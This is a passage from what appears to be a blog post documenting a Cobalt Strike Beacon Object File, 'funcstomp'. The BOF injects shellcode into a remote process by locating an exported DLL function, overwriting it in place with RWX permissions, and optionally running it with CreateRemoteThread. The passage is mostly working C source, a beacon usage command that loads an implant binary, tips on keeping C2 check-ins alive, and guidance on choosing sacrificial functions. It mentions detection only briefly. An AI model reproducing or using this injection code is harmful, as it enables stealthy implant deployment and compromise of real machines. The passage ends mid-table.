    <span class="n">WORD</span>  <span class="o">*</span><span class="n">ordinals</span> <span class="o">=</span> <span class="p">(</span><span class="n">WORD</span>  <span class="o">*</span><span class="p">)</span><span class="n">MSVCRT</span><span class="err">$</span><span class="n">malloc</span><span class="p">(</span><span class="n">nnames</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="n">WORD</span><span class="p">));</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">funcs</span> <span class="o">||</span> <span class="o">!</span><span class="n">names</span> <span class="o">||</span> <span class="o">!</span><span class="n">ordinals</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">MSVCRT</span><span class="err">$</span><span class="n">free</span><span class="p">(</span><span class="n">funcs</span><span class="p">);</span> <span class="n">MSVCRT</span><span class="err">$</span><span class="n">free</span><span class="p">(</span><span class="n">names</span><span class="p">);</span> <span class="n">MSVCRT</span><span class="err">$</span><span class="n">free</span><span class="p">(</span><span class="n">ordinals</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">xread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">base</span> <span class="o">+</span> <span class="n">ied</span><span class="p">.</span><span class="n">AddressOfFunctions</span><span class="p">,</span>    <span class="n">funcs</span><span class="p">,</span>    <span class="n">nfuncs</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">))</span> <span class="o">!=</span> <span class="n">nfuncs</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">))</span> <span class="p">{</span> <span class="p">...</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">xread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">base</span> <span class="o">+</span> <span class="n">ied</span><span class="p">.</span><span class="n">AddressOfNames</span><span class="p">,</span>        <span class="n">names</span><span class="p">,</span>    <span class="n">nnames</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">))</span> <span class="o">!=</span> <span class="n">nnames</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">))</span> <span class="p">{</span> <span class="p">...</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">xread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">base</span> <span class="o">+</span> <span class="n">ied</span><span class="p">.</span><span class="n">AddressOfNameOrdinals</span><span class="p">,</span> <span class="n">ordinals</span><span class="p">,</span> <span class="n">nnames</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="n">WORD</span><span class="p">))</span>  <span class="o">!=</span> <span class="n">nnames</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">WORD</span><span class="p">))</span>  <span class="p">{</span> <span class="p">...</span> <span class="p">}</span>
</code></pre></div></div>

<p>The three tables are read from the target process into heap memory. For a DLL like <code class="language-plaintext highlighter-rouge">ntdll.dll</code> (~2000 exports), this is ~28 KB - fine on heap, but the <em>caller’s</em> output array (<code class="language-plaintext highlighter-rouge">export_entry_t[8192]</code> ≈ 512 KB) would also blow the 1 MB stack.</p>

<h4 id="step-7-build-entries-lines-233255">Step 7: Build entries (Lines 233–255)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cm">/* 7. Build entries */</span>
    <span class="kt">int</span> <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">DWORD</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">nread</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">WORD</span> <span class="n">ord_idx</span> <span class="o">=</span> <span class="n">ordinals</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">ord_idx</span> <span class="o">&gt;=</span> <span class="n">nfuncs</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>

        <span class="n">DWORD</span> <span class="n">func_rva</span> <span class="o">=</span> <span class="n">funcs</span><span class="p">[</span><span class="n">ord_idx</span><span class="p">];</span>

        <span class="cm">/* Skip forwarded exports */</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">func_rva</span> <span class="o">&gt;=</span> <span class="n">edd</span><span class="p">.</span><span class="n">VirtualAddress</span> <span class="o">&amp;&amp;</span>
            <span class="n">func_rva</span> <span class="o">&lt;</span>  <span class="n">edd</span><span class="p">.</span><span class="n">VirtualAddress</span> <span class="o">+</span> <span class="n">edd</span><span class="p">.</span><span class="n">Size</span><span class="p">)</span>
            <span class="k">continue</span><span class="p">;</span>

        <span class="kt">char</span> <span class="n">namebuf</span><span class="p">[</span><span class="n">MAX_NAME_LEN</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">xread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">base</span> <span class="o">+</span> <span class="n">names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">namebuf</span><span class="p">,</span> <span class="n">MAX_NAME_LEN</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
            <span class="k">continue</span><span class="p">;</span>

        <span class="n">cpyn</span><span class="p">(</span><span class="n">out</span><span class="p">[</span><span class="n">count</span><span class="p">].</span><span class="n">name</span><span class="p">,</span> <span class="n">namebuf</span><span class="p">,</span> <span class="n">MAX_NAME_LEN</span><span class="p">);</span>
        <span class="n">out</span><span class="p">[</span><span class="n">count</span><span class="p">].</span><span class="n">ordinal</span> <span class="o">=</span> <span class="n">ord_idx</span><span class="p">;</span>
        <span class="n">out</span><span class="p">[</span><span class="n">count</span><span class="p">].</span><span class="n">rva</span>     <span class="o">=</span> <span class="n">func_rva</span><span class="p">;</span>
        <span class="n">out</span><span class="p">[</span><span class="n">count</span><span class="p">].</span><span class="n">addr</span>    <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">func_rva</span><span class="p">;</span>
        <span class="n">count</span><span class="o">++</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>For each named export:</p>
<ul>
  <li>Resolves the function RVA via the ordinal index</li>
  <li><strong>Skips forwarded exports</strong> (where the RVA points back into the export directory itself - these are stubs that redirect to another module)</li>
  <li>Reads the name string from the target</li>
  <li>Stores name, ordinal, RVA, and absolute address (<code class="language-plaintext highlighter-rouge">base + rva</code>)</li>
</ul>

<h3 id="7-go---entry-point-lines-267419">7. <code class="language-plaintext highlighter-rouge">go()</code> - Entry Point (Lines 267–419)</h3>

<h4 id="phase-a-parse-parameters-lines-267277">Phase A: Parse Parameters (Lines 267–277)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">go</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">length</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">datap</span> <span class="n">p</span><span class="p">;</span>
    <span class="n">BeaconDataParse</span><span class="p">(</span><span class="o">&amp;</span><span class="n">p</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">length</span><span class="p">);</span>

    <span class="kt">int</span>         <span class="n">pid</span>       <span class="o">=</span> <span class="n">BeaconDataInt</span><span class="p">(</span><span class="o">&amp;</span><span class="n">p</span><span class="p">);</span>
    <span class="kt">char</span>       <span class="o">*</span><span class="n">dll_name</span>  <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">BeaconDataExtract</span><span class="p">(</span><span class="o">&amp;</span><span class="n">p</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
    <span class="kt">char</span>       <span class="o">*</span><span class="n">func_name</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">BeaconDataExtract</span><span class="p">(</span><span class="o">&amp;</span><span class="n">p</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
    <span class="kt">int</span>         <span class="n">sc_len</span>    <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">char</span>       <span class="o">*</span><span class="n">shellcode</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">BeaconDataExtract</span><span class="p">(</span><span class="o">&amp;</span><span class="n">p</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sc_len</span><span class="p">);</span>
    <span class="kt">int</span>         <span class="n">trigger</span>   <span class="o">=</span> <span class="n">BeaconDataInt</span><span class="p">(</span><span class="o">&amp;</span><span class="n">p</span><span class="p">);</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Param</th>
      <th>Type</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">pid</code></td>
      <td>int</td>
      <td>Target process ID</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dll_name</code></td>
      <td>cstr</td>
      <td>Module name (e.g. <code class="language-plaintext highlighter-rouge">"WinUIEdit.dll"</code>)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">func_name</code></td>
      <td>cstr</td>
      <td>Export to stomp (e.g. <code class="language-plaintext highlighter-rouge">"RichEditWndProc"</code>)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">shellcode</code></td>
      <td>bytes</td>
      <td>Payload (base64 in transit, decoded by <code class="language-plaintext highlighter-rouge">BeaconDataExtract</code>)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">trigger</code></td>
      <td>int</td>
      <td>1 = <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>, 0 = stomp only</td>
    </tr>
  </tbody>
</table>

<h4 id="phase-b-validation-lines-283298">Phase B: Validation (Lines 283–298)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">if</span> <span class="p">(</span><span class="n">pid</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="k">return</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">dll_name</span> <span class="o">||</span> <span class="o">!</span><span class="n">func_name</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="k">return</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">shellcode</span> <span class="o">||</span> <span class="n">sc_len</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="k">return</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">sc_len</span> <span class="o">&gt;</span> <span class="mh">0x100000</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="k">return</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span>  <span class="cm">/* 1 MB cap */</span>
</code></pre></div></div>

<h4 id="phase-c-sedebug--module-lookup-lines-300309">Phase C: SeDebug + Module Lookup (Lines 300–309)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">enable_se_debug</span><span class="p">();</span>

    <span class="n">DWORD_PTR</span> <span class="n">mod_base</span> <span class="o">=</span> <span class="n">find_module_base</span><span class="p">((</span><span class="n">DWORD</span><span class="p">)</span><span class="n">pid</span><span class="p">,</span> <span class="n">dll_name</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">mod_base</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">BeaconPrintf</span><span class="p">(</span><span class="n">CALLBACK_ERROR</span><span class="p">,</span> <span class="s">"[!] funcstomp: module '%s' not found in PID %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">dll_name</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">2</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<h4 id="phase-d-open-process-lines-312319">Phase D: Open Process (Lines 312–319)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">HANDLE</span> <span class="n">hProc</span> <span class="o">=</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">OpenProcess</span><span class="p">(</span>
        <span class="n">PROCESS_VM_READ</span> <span class="o">|</span> <span class="n">PROCESS_VM_WRITE</span> <span class="o">|</span> <span class="n">PROCESS_VM_OPERATION</span> <span class="o">|</span> <span class="n">PROCESS_QUERY_INFORMATION</span><span class="p">,</span>
        <span class="n">FALSE</span><span class="p">,</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="n">pid</span><span class="p">);</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Access right</th>
      <th>What it allows</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PROCESS_VM_READ</code></td>
      <td><code class="language-plaintext highlighter-rouge">ReadProcessMemory</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PROCESS_VM_WRITE</code></td>
      <td><code class="language-plaintext highlighter-rouge">WriteProcessMemory</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PROCESS_VM_OPERATION</code></td>
      <td><code class="language-plaintext highlighter-rouge">VirtualProtectEx</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PROCESS_QUERY_INFORMATION</code></td>
      <td>General queries</td>
    </tr>
  </tbody>
</table>

<h4 id="phase-e-read-exports--find-target-lines-322354">Phase E: Read Exports &amp; Find Target (Lines 322–354)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">export_entry_t</span> <span class="o">*</span><span class="n">exports</span> <span class="o">=</span> <span class="p">(</span><span class="n">export_entry_t</span> <span class="o">*</span><span class="p">)</span><span class="n">MSVCRT</span><span class="err">$</span><span class="n">malloc</span><span class="p">(</span><span class="n">MAX_EXPORTS</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="n">export_entry_t</span><span class="p">));</span>
    <span class="c1">// ...</span>
    <span class="kt">int</span> <span class="n">nexports</span> <span class="o">=</span> <span class="n">read_exports</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">mod_base</span><span class="p">,</span> <span class="n">exports</span><span class="p">,</span> <span class="n">MAX_EXPORTS</span><span class="p">);</span>
    <span class="c1">// ...</span>
    <span class="n">DWORD_PTR</span> <span class="n">func_addr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">nexports</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">strcasecmp_a</span><span class="p">(</span><span class="n">exports</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">name</span><span class="p">,</span> <span class="n">func_name</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">func_addr</span> <span class="o">=</span> <span class="n">exports</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">addr</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="c1">// ...</span>
    <span class="n">MSVCRT</span><span class="err">$</span><span class="n">free</span><span class="p">(</span><span class="n">exports</span><span class="p">);</span>  <span class="cm">/* only need func_addr now */</span>
</code></pre></div></div>

<p>Linear search through up to 8192 exports. The array is freed immediately after - only the resolved address matters.</p>

<h4 id="phase-f-the-stomp-lines-356389">Phase F: The Stomp (Lines 356–389)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cm">/* --- Stomp: RW -&gt; write -&gt; RX --- */</span>
    <span class="n">DWORD</span> <span class="n">old_prot</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// Step 1: Make the function code writable</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">KERNEL32</span><span class="err">$</span><span class="n">VirtualProtectEx</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="p">(</span><span class="n">LPVOID</span><span class="p">)</span><span class="n">func_addr</span><span class="p">,</span> <span class="p">(</span><span class="n">SIZE_T</span><span class="p">)</span><span class="n">sc_len</span><span class="p">,</span>
                                    <span class="n">PAGE_READWRITE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">old_prot</span><span class="p">))</span>
    <span class="p">{</span> <span class="p">...</span> <span class="k">return</span> <span class="mi">7</span><span class="p">;</span> <span class="p">}</span>

    <span class="c1">// Step 2: Overwrite with shellcode</span>
    <span class="n">SIZE_T</span> <span class="n">written</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">KERNEL32</span><span class="err">$</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="p">(</span><span class="n">LPVOID</span><span class="p">)</span><span class="n">func_addr</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span>
                                      <span class="p">(</span><span class="n">SIZE_T</span><span class="p">)</span><span class="n">sc_len</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">written</span><span class="p">))</span>
    <span class="p">{</span> <span class="p">...</span> <span class="k">return</span> <span class="mi">8</span><span class="p">;</span> <span class="p">}</span>

    <span class="c1">// Step 3: Restore execute permission (RWX)</span>
    <span class="n">DWORD</span> <span class="n">old_prot2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">KERNEL32</span><span class="err">$</span><span class="n">VirtualProtectEx</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="p">(</span><span class="n">LPVOID</span><span class="p">)</span><span class="n">func_addr</span><span class="p">,</span> <span class="p">(</span><span class="n">SIZE_T</span><span class="p">)</span><span class="n">sc_len</span><span class="p">,</span>
                                    <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">old_prot2</span><span class="p">))</span>
    <span class="p">{</span> <span class="p">...</span> <span class="k">return</span> <span class="mi">9</span><span class="p">;</span> <span class="p">}</span>
</code></pre></div></div>

<p>Three-step in-place code modification:</p>

<table>
  <thead>
    <tr>
      <th>Step</th>
      <th>API</th>
      <th>Effect</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td><code class="language-plaintext highlighter-rouge">VirtualProtectEx(RW)</code></td>
      <td>Unprotect the code page</td>
    </tr>
    <tr>
      <td>2</td>
      <td><code class="language-plaintext highlighter-rouge">WriteProcessMemory</code></td>
      <td>Overwrite original bytes with shellcode</td>
    </tr>
    <tr>
      <td>3</td>
      <td><code class="language-plaintext highlighter-rouge">VirtualProtectEx(RWX)</code></td>
      <td>Make it executable again</td>
    </tr>
  </tbody>
</table>

<p><strong>Why <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code> (not just <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READ</code>)?</strong> The shellcode needs read+write+execute. Using RWX is simpler than restoring the original protection flags, and ensures the shellcode can access any self-referencing data.</p>

<h4 id="phase-g-optional-trigger-lines-392412">Phase G: Optional Trigger (Lines 392–412)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">if</span> <span class="p">(</span><span class="n">trigger</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>
                                                       <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">func_addr</span><span class="p">,</span>
                                                       <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hThread</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">BeaconPrintf</span><span class="p">(</span><span class="n">CALLBACK_ERROR</span><span class="p">,</span> <span class="s">"[!] funcstomp: CreateRemoteThread failed: %lu (stomp still applied)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
                         <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">KERNEL32</span><span class="err">$</span><span class="n">GetLastError</span><span class="p">());</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="n">BeaconPrintf</span><span class="p">(</span><span class="n">CALLBACK_OUTPUT</span><span class="p">,</span> <span class="s">"[+] funcstomp: remote thread created</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
            <span class="cm">/* Keep wait under 5s to avoid killing beacon comms */</span>
            <span class="n">DWORD</span> <span class="n">w</span> <span class="o">=</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="mi">5000</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">w</span> <span class="o">==</span> <span class="n">WAIT_OBJECT_0</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">DWORD</span> <span class="n">ec</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
                <span class="n">KERNEL32</span><span class="err">$</span><span class="n">GetExitCodeThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ec</span><span class="p">);</span>
                <span class="n">BeaconPrintf</span><span class="p">(</span><span class="n">CALLBACK_OUTPUT</span><span class="p">,</span> <span class="s">"[+] funcstomp: thread exited (code 0x%lx)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">ec</span><span class="p">);</span>
            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                <span class="n">BeaconPrintf</span><span class="p">(</span><span class="n">CALLBACK_OUTPUT</span><span class="p">,</span> <span class="s">"[*] funcstomp: thread still running (5s timeout, shellcode alive)</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="n">KERNEL32</span><span class="err">$</span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>Thread entry point = the <strong>stomped function address</strong> (which is now shellcode)</li>
  <li>No parameter is passed (<code class="language-plaintext highlighter-rouge">NULL</code>)</li>
  <li>Waits up to <strong>5 seconds</strong>:
    <ul>
      <li><strong>Exited</strong> → shellcode ran to completion (e.g. a one-shot payload)</li>
      <li><strong>Still running</strong> → shellcode is alive in a loop (e.g. a C2 beacon) - <strong>this is the success case</strong> for implant beacons</li>
    </ul>
  </li>
</ul>

<p>The 5-second cap prevents the beacon from stalling in <code class="language-plaintext highlighter-rouge">WaitForSingleObject</code> and missing its next checkin/sleep cycle.</p>

<h4 id="phase-h-cleanup-lines-414418">Phase H: Cleanup (Lines 414–418)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">KERNEL32</span><span class="err">$</span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProc</span><span class="p">);</span>

    <span class="n">BeaconPrintf</span><span class="p">(</span><span class="n">CALLBACK_OUTPUT</span><span class="p">,</span> <span class="s">"[=] funcstomp: done - %s::%s in PID %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
                 <span class="n">dll_name</span><span class="p">,</span> <span class="n">func_name</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<hr />

<h2 id="return-codes">Return Codes</h2>

<table>
  <thead>
    <tr>
      <th>Code</th>
      <th>Meaning</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0</td>
      <td>Success</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Invalid parameters</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Module not found in target</td>
    </tr>
    <tr>
      <td>3</td>
      <td><code class="language-plaintext highlighter-rouge">OpenProcess</code> failed (access denied / bad PID)</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Memory allocation failure</td>
    </tr>
    <tr>
      <td>5</td>
      <td>No exports found in module</td>
    </tr>
    <tr>
      <td>6</td>
      <td>Function not in export table</td>
    </tr>
    <tr>
      <td>7</td>
      <td><code class="language-plaintext highlighter-rouge">VirtualProtectEx(RW)</code> failed</td>
    </tr>
    <tr>
      <td>8</td>
      <td><code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> failed</td>
    </tr>
    <tr>
      <td>9</td>
      <td><code class="language-plaintext highlighter-rouge">VirtualProtectEx(RX)</code> failed</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="key-design-decisions">Key Design Decisions</h2>

<table>
  <thead>
    <tr>
      <th>Decision</th>
      <th>Rationale</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Heap-allocate export arrays</td>
      <td>Beacon stack is 1 MB; <code class="language-plaintext highlighter-rouge">export_entry_t[8192]</code> ≈ 512 KB would overflow it</td>
    </tr>
    <tr>
      <td>Best-effort SeDebug</td>
      <td>Avoids hard-failing on non-admin beacons; still works on user-level processes</td>
    </tr>
    <tr>
      <td>5s thread wait cap</td>
      <td>Prevents the beacon from hanging and missing its next checkin</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code> final state</td>
      <td>Simpler than restoring original protection; shellcode stays RWX</td>
    </tr>
    <tr>
      <td>DFR for msvcrt malloc/free</td>
      <td>Beacon’s 32-entry function table lacks <code class="language-plaintext highlighter-rouge">calloc</code>/<code class="language-plaintext highlighter-rouge">free</code>; msvcrt’s work via DFR</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">strcasecmp_a</code> / <code class="language-plaintext highlighter-rouge">cpyn</code> inline</td>
      <td><code class="language-plaintext highlighter-rouge">lstrcpynA</code> and <code class="language-plaintext highlighter-rouge">_stricmp</code> not in the beacon’s symbol table</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="usage-from-beacon">Usage (from Beacon)</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>beacon&gt; stomp [PID] "WinUIEdit.dll" "RichEditWndProc" /home/g3tsyst3m/agent.x64.bin -t 1
</code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">trigger=1</code> → the stomped function executes immediately via <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code></li>
  <li><code class="language-plaintext highlighter-rouge">trigger=0</code> → shellcode sits in memory until the target naturally calls that export (e.g. the next <code class="language-plaintext highlighter-rouge">WndProc</code> invocation)</li>
</ul>

<hr />

<h2 id="security-notes">Security Notes</h2>

<ul>
  <li><strong>No ASLR bypass needed</strong>: The module base is read from the target’s own module list (Toolhelp snapshot), so you get the actual loaded address.</li>
  <li><strong>No CFG issues</strong>: You’re overwriting code at an existing address; CFG validates the <em>target</em> of indirect calls, not the code at those targets.</li>
  <li><strong>Detection surface</strong>: The <code class="language-plaintext highlighter-rouge">VirtualProtectEx(RW)</code> → <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> → <code class="language-plaintext highlighter-rouge">VirtualProtectEx(RWX)</code> sequence on a code page + <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> is a classic EDR detection pattern. The persistent RWX state is also a tell.</li>
  <li><strong>Shellcode size</strong>: Capped at 1 MB in the BOF. In practice, stompping a 100 KB beacon into a 20-byte function overflows into adjacent code, which is fine as long as you don’t need the rest of the module to function.</li>
</ul>

<h2 id="choosing-your-sacrificial-function">Choosing Your Sacrificial Function</h2>

<p>This is the part I actually think about the most, so I’ll be generous with it. Good sacrificial functions share three traits: <strong>obscure</strong> (little or no callers), <strong>rarely invoked</strong> (so the overwrite doesn’t matter even if something <em>does</em> call it), and <strong>non-critical</strong> (the process doesn’t depend on them). From my own testing, here’s what has worked well with a <strong>100KB+</strong> payload:</p>

<table>
  <thead>
    <tr>
      <th>DLL</th>
      <th>Function</th>
      <th>Why it’s a good stomp victim</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WinUIEdit.dll</code></td>
      <td><code class="language-plaintext highlighter-rouge">RichEditWndProc</code></td>
